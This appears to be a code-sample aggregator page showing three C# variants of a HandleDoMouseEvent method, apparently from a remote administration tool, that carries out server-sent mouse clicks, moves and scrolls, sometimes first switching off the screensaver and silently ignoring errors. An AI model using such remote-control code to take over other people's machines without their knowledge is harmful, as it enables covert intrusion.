Esempio n. 1
0
        public static void HandleDoMouseEvent(Packets.ServerPackets.DoMouseEvent command, Client client)
        {
            Screen[] allScreens = Screen.AllScreens;
            int      offsetX    = allScreens[command.MonitorIndex].Bounds.X;
            int      offsetY    = allScreens[command.MonitorIndex].Bounds.Y;
            Point    p          = new Point(command.X + offsetX, command.Y + offsetY);

            switch (command.Action)
            {
            case MouseAction.LeftDown:
            case MouseAction.LeftUp:
                NativeMethodsHelper.DoMouseLeftClick(p, command.IsMouseDown);
                break;

            case MouseAction.RightDown:
            case MouseAction.RightUp:
                NativeMethodsHelper.DoMouseRightClick(p, command.IsMouseDown);
                break;

            case MouseAction.MoveCursor:
                NativeMethodsHelper.DoMouseMove(p);
                break;

            case MouseAction.ScrollDown:
                NativeMethodsHelper.DoMouseScroll(p, true);
                break;

            case MouseAction.ScrollUp:
                NativeMethodsHelper.DoMouseScroll(p, false);
                break;
            }
        }
Esempio n. 2
0
 public static void HandleDoMouseEvent(Packets.ServerPackets.DoMouseEvent command, Client client)
 {
     try
     {
         if (NativeMethodsHelper.IsScreensaverActive())
         {
             NativeMethodsHelper.DisableScreensaver();
             return;
         }
         Screen[]  allScreens = Screen.AllScreens;
         Rectangle rect       = allScreens[command.MonitorIndex].Bounds;
         if (rect.X != 0)
         {
             command.X += rect.X * 0xFFFF / rect.Width;
         }
         if (rect.Y != 0)
         {
             command.Y += rect.Y * 0xFFFF / rect.Height;
         }
         NativeMethodsHelper.OnMouseEventHander((uint)command.Action, command.X, command.Y, command.DwData);
     }
     catch (Exception)
     {
     }
 }
Esempio n. 3
0
        public static void HandleDoMouseEvent(Packets.ServerPackets.DoMouseEvent command, Client client)
        {
            try
            {
                Screen[] allScreens = Screen.AllScreens;
                int      offsetX    = allScreens[command.MonitorIndex].Bounds.X;
                int      offsetY    = allScreens[command.MonitorIndex].Bounds.Y;
                Point    p          = new Point(command.X + offsetX, command.Y + offsetY);

                // Disable screensaver if active before input
                switch (command.Action)
                {
                case MouseAction.LeftDown:
                case MouseAction.LeftUp:
                case MouseAction.RightDown:
                case MouseAction.RightUp:
                case MouseAction.MoveCursor:
                    if (NativeMethodsHelper.IsScreensaverActive())
                    {
                        NativeMethodsHelper.DisableScreensaver();
                    }
                    break;
                }

                switch (command.Action)
                {
                case MouseAction.LeftDown:
                case MouseAction.LeftUp:
                    NativeMethodsHelper.DoMouseLeftClick(p, command.IsMouseDown);
                    break;

                case MouseAction.RightDown:
                case MouseAction.RightUp:
                    NativeMethodsHelper.DoMouseRightClick(p, command.IsMouseDown);
                    break;

                case MouseAction.MoveCursor:
                    NativeMethodsHelper.DoMouseMove(p);
                    break;

                case MouseAction.ScrollDown:
                    NativeMethodsHelper.DoMouseScroll(p, true);
                    break;

                case MouseAction.ScrollUp:
                    NativeMethodsHelper.DoMouseScroll(p, false);
                    break;
                }
            }
            catch
            {
            }
        }